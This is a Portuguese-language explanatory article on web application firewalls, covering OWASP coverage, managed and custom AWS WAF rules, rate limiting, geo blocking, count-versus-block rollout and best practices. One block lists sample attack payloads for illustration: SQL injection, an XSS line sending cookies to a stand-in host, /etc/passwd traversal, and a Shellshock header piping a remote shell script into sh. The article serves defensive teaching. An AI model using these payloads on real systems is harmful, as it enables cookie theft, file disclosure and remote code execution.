WAF (Web Application Firewall)

Um WAF é um firewall de camada de aplicação que inspeciona requisições HTTP e HTTPS em busca de padrões de ataque, aplicando regras de bloqueio, contagem ou redirecionamento antes que o tráfego alcance a aplicação. Diferente de firewalls de rede, que decidem por endereço e porta, o WAF entende o protocolo HTTP: analisa método, caminho, headers, corpo e parâmetros, cruzando esse conteúdo com assinaturas de exploração conhecidas e com regras de negócio específicas. Em produção, ele é a primeira barreira contra as categorias de ataque do OWASP Top 10 que chegam pela web, como SQL injection, cross-site scripting e exploração de vulnerabilidades conhecidas em frameworks. O valor estratégico do WAF está em comprar tempo: ele não corrige vulnerabilidades do código, mas bloqueia tentativas conhecidas enquanto a correção definitiva é desenvolvida e entregue. Bem configurado, reduz drasticamente o ruído de exploração automatizada; mal configurado, bloqueia clientes legítimos e cria falsa sensação de segurança.

O problema que o WAF resolve

Toda aplicação exposta na internet recebe, desde o primeiro dia, tráfego automatizado de exploração, varredura de diretórios sensíveis, tentativa de credencial e injeção em parâmetros. Corrigir cada vulnerabilidade é obrigatório, mas o ciclo de correção leva dias ou semanas, e o atacante tenta em segundos. O WAF cobre essa lacuna ao filtrar padrões de ataque genéricos de forma centralizada, sem depender de deploy de aplicação, e ao executar políticas de tráfego, como limites de taxa e bloqueio geográfico, que nenhuma aplicação deveria implementar sozinha. Ele também responde a emergências: quando uma CVE crítica é divulgada em um framework popular, o WAF recebe regras de mitigação em horas, comprando tempo para o patch real chegar em produção. A limitação precisa ser entendida: regra de WAF é mitigação genérica, e a ausência de bloqueio não significa que o código está seguro.

Existe ainda o ganho de economia operacional: grande parte do tráfego de robôs e varreduras não tem valor de negócio nenhum, e filtrá-lo na borda economiza requisições, conexões de banco e capacidade de processamento na origem. Em arquiteturas com custo proporcional a requisição, como serverless, essa filtragem prévia aparece diretamente na fatura, o que transforma uma decisão de segurança em decisão financeira mensurável.

OWASP Top 10 e cobertura de regras

O OWASP Top 10 cataloga as categorias de risco mais relevantes para aplicações web, e o WAF cobre diretamente uma parte delas, com destaque para injeção, XSS e falhas de controle de acesso exploradas por payload conhecido. O bloco abaixo mostra exemplos de padrões típicos que regras gerenciadas identificam.

# Exemplos de payloads de ataque que regras de WAF reconhecem

# SQL injection em parâmetro de consulta
GET /produtos?id=1 OR 1=1; SELECT * FROM usuarios --

# Cross-site scripting armazenado via parâmetro de comentário
comentario=<script>document.location='http://malicioso/?c='+document.cookie</script>

# Path traversal na busca de arquivos
GET /download?arquivo=../../etc/passwd

# Exploração de CVE conhecida em framework (exemplo genérico)
GET /cgi-bin/componente.cgi HTTP/1.1
User-Agent: () { :; }; curl http://atacante.com/shell.sh | sh

Cada uma dessas tentativas combina padrões sintáticos, como aspas e comentários de SQL, com padrões semânticos, como anexos de script em campos de texto. Regras modernas usam essa combinação para pontuar anomalias em vez de bloquear qualquer ocorrência isolada, o que reduz o bloqueio indevido de conteúdo legítimo, como um comentário de usuário que menciona SQL em texto.

Aplicação prática: SQL injection e XSS

O fluxo típico de um ataque de SQL injection começa com sondagem silenciosa, como aspas simples e operadores lógicos em parâmetros, observando diferenças de resposta, e evolui para extração de dados por união de consultas ou por inferência booleana. Um WAF com regras de SQLi interrompe a sondagem inicial ao pontuar os padrões de manipulação de sintaxe, e o log de amostragem registra a tentativa completa, incluindo origem e payload, que alimenta tanto o bloqueio de origem quanto a análise de qual endpoint foi alvo. No XSS, o objetivo é injetar script que execute no navegador de outras vítimas, e as regras identificam tags, manipuladores de evento e esquemas de URL perigosos em qualquer campo de entrada. Em ambos os casos, o papel do WAF é idêntico: eliminar o tráfego de exploração genérica e registrar evidência, enquanto o código da aplicação continua responsável por validação, consultas parametrizadas e sanitização de saída, que são as correções definitivas. A combinação das duas camadas é o que funciona; qualquer uma isolada deixa lacunas conhecidas.

Regras gerenciadas e regras customizadas

A base de qualquer WAF produtivo é o conjunto de regras gerenciadas, mantido pelo provedor e atualizado continuamente em resposta a novas CVEs e técnicas de ataque. O AWS WAF oferece grupos como o Core Rule Set e o Known Bad Inputs, que cobrem assinaturas genéricas e inputs malformados, enquanto provedores de borda como Cloudflare mantêm pacotes equivalentes com atualização automática. Sobre essa base, o time escreve regras customizadas que codificam políticas da aplicação: bloquear acesso a caminhos administrativos fora dos IPs do escritório, exigir header customizado em rotas de integração, ou limitar a taxa por endpoint sensível. A divisão de responsabilidades é clara: regra gerenciada protege contra o mundo, regra customizada protege contra riscos específicos do negócio, e ambas devem ser versionadas como código.

A ordem de avaliação das regras é um detalho de desenho que evita conflito: regras de política rígida, como bloqueio de caminho administrativo, costumam ter prioridade maior, seguidas de rate limits, e o grupo gerenciado de assinaturas roda depois, com exceções de escopo declaradas no próprio grupo. Documentar essa ordem no código elimina a dúvida recorrente de por que uma requisição foi bloqueada por uma regra e não pela outra.

{
  "Name": "bloqueio-sql-injection",
  "Priority": 1,
  "Statement": {
    "ManagedRuleGroupStatement": {
      "VendorName": "AWS",
      "Name": "AWSManagedRulesSQLiRuleSet",
      "RuleActionOverrides": [
        {
          "Name": "SQLi_QueryArguments",
          "ActionToUse": { "Block": {} }
        }
      ]
    }
  },
  "OverrideAction": { "None": {} },
  "VisibilityConfig": {
    "CloudWatchMetricsEnabled": true,
    "MetricName": "sqli-bloqueio",
    "SampledRequestsEnabled": true
  }
}

A configuração acima ativa o grupo gerenciado de SQLi com ação de bloqueio explícita, métricas no CloudWatch e amostragem de requisições, que é o material de investigação para bloqueios indevidos.

O investimento em governança vale mais que o volume de regras. Um conjunto enxuto, com dez regras bem compreendidas, block após observação e painel de eficácia, protege mais que um pacote com centenas de regras ativas sem ninguém que entenda o que cada uma faz, porque a resposta a falso positivo depende de conhecer o mecanismo, e não de ter mais assinaturas.

Rate limiting e geo blocking

Além de inspeção de conteúdo, o WAF executa políticas de tráfego que protegem disponibilidade e custo. O rate limiting restringe requisições por identidade, tipicamente endereço IP, token ou valor de header, com janelas de avaliação e penalidade temporária; aplicações de login, recuperação de senha e checkout são candidatas óbvias, pois limitam força bruta e abuse de API sem tocar no código. O geo blocking restringe países de origem com base no IP, útil quando o serviço é regional por requisitos de negócio ou quando um padrão de ataque se concentra em origens onde não existe clientela legítima. As duas técnicas pedem cautela: limites errados bloqueiam escritórios atrás de NAT corporativo e usuários de operadoras com IP compartilhado, por isso a prática é combinar critérios, como taxa por IP com taxa por credencial, e tratar exceções documentadas com listas de permissão.

O design do limite precisa acompanhar o formato do cliente. APIs de aplicação móvel pedem taxa por token de dispositivo, integrações B2B pedem cotas por chave de API com contrato explícito, e navegadores humanos pedem limites generosos combinados com bot management. A granularidade correta é o que diferencia proteção efetiva de bloqueio aleatório de clientes, e cada novo endpoint sensível deve ter seu limite pensado, e não herdado de um valor global.

WAF na borda versus na aplicação

A posição do WAF na arquitetura define o que ele enxerga e o custo de cada camada de inspeção.

A configuração mais comum em arquiteturas AWS associa o WAF ao CloudFront, inspecionando todo tráfego de entrada antes que consuma origem, e opcionalmente um segundo ponto de inspeção no API Gateway ou ALB para rotas administrativas. Empilhar múltiplos WAFs em série multiplica custo e risco de falso positivo, e só se justifica com requisito regulatório explícito.

A escolha também afeta quem mantém a camada. WAF na borda tende a ser operado pelo time de plataforma com regras gerenciadas do provedor, enquanto WAF na aplicação aproxima a configuração dos times de produto, que conhecem os contratos de cada API. Essa distribuição de responsabilidade deve estar escrita, porque regra sem dono é a origem mais comum de exceções permanentes.

Modo count versus block

Todo WAF moderno permite rodar cada regra em dois modos: count, que apenas registra a correspondência, e block, que rejeita a requisição. O ciclo de adoção maduro é sempre o mesmo: regra nova entra em count, o time analisa por dias ou semanas os logs de correspondência, identifica falsos positivos com amostragem de requisições, ajusta escopos e exceções, e só então promove para block. Esse ciclo de duas fases é o que separa WAFs que protegem de WAFs que causam incidente: promover regra gerenciada direto para block em uma API com payloads complexos é receita para bloquear clientes legítimos em pleno horário comercial. O modo count também é a forma correta de medir o impacto de endurecer regras existentes, comparando o volume bloqueado com o volume real de erro da aplicação.

Em regras customizadas que codificam política de negócio, o modo count cumpre ainda um papel de descoberta: manter a regra em contagem por um ciclo completo de negócio revela padrões legítimos que ninguém previu, como integrações de parceiro com header diferente do esperado. Só depois dessa validação comportamental a política merece virar bloqueio, com resposta HTTP padronizada e mensagem adequada para quem integra.

Erros comuns

Os deslizes abaixo transformam o WAF em fonte de problema em vez de camada de proteção.

• Ativar regras gerenciadas em modo block sem período de observação, gerando bloqueio de clientes legítimos com payloads incomuns.
• Tratar o WAF como correção de vulnerabilidade, adiando o patch do código porque "o WAF bloqueia".
• Regras customizadas sem dono e sem revisão, acumulando exceções amplas, como bloqueio por IP de 2019, que ninguém mais entende.
• Rate limit global único, penalizando usuários corporativos atrás de NAT e ignorando endpoints que pedem limites próprios.
• Falta de amostragem e de logs, tornando impossível distinguir ataque real de falso positivo quando o tráfego cai.
• Exceção ampla para "resolver urgentemente" um cliente bloqueado, criando brecha permanente sem revisão de prazo.
• Inspeção uniforme de todos os endpoints, incluindo rotas de alta taxa sem risco, elevando custo de avaliação e latência sem ganho de proteção proporcional.

Boas práticas

As práticas abaixo consolidam uma operação de WAF sustentável e auditável.

• Trate o WAF como código, com regras versionadas, revisão de mudanças e promoção count antes de block em todos os ambientes.
• Mantenha a base gerenciada atualizada e o ciclo de CVEs documentado, com responsável definido para avaliar novas regras divulgadas pelo provedor.
• Construa painéis de eficácia, com taxa de bloqueio por regra, top de origens e correlação entre bloqueios e erros da aplicação.
• Configure rate limiting por endpoint sensível, com exceções em lista de permissão documentada e expirável, e teste os limites em ambiente de carga.
• Exercite rotinas de resposta, incluindo o caminho para ativar bloqueio emergencial de exploração nova, medindo o tempo entre decisão e aplicação efetiva.
• Encaminhe os logs do WAF ao sistema centralizado de logs, unificando investigação de segurança com a mesma ferramenta usada pela operação técnica.
• Revise o acervo de regras a cada trimestre, removendo exceções expiradas e revalidando a prioridade de cada grupo, como qualquer outro recurso de produção.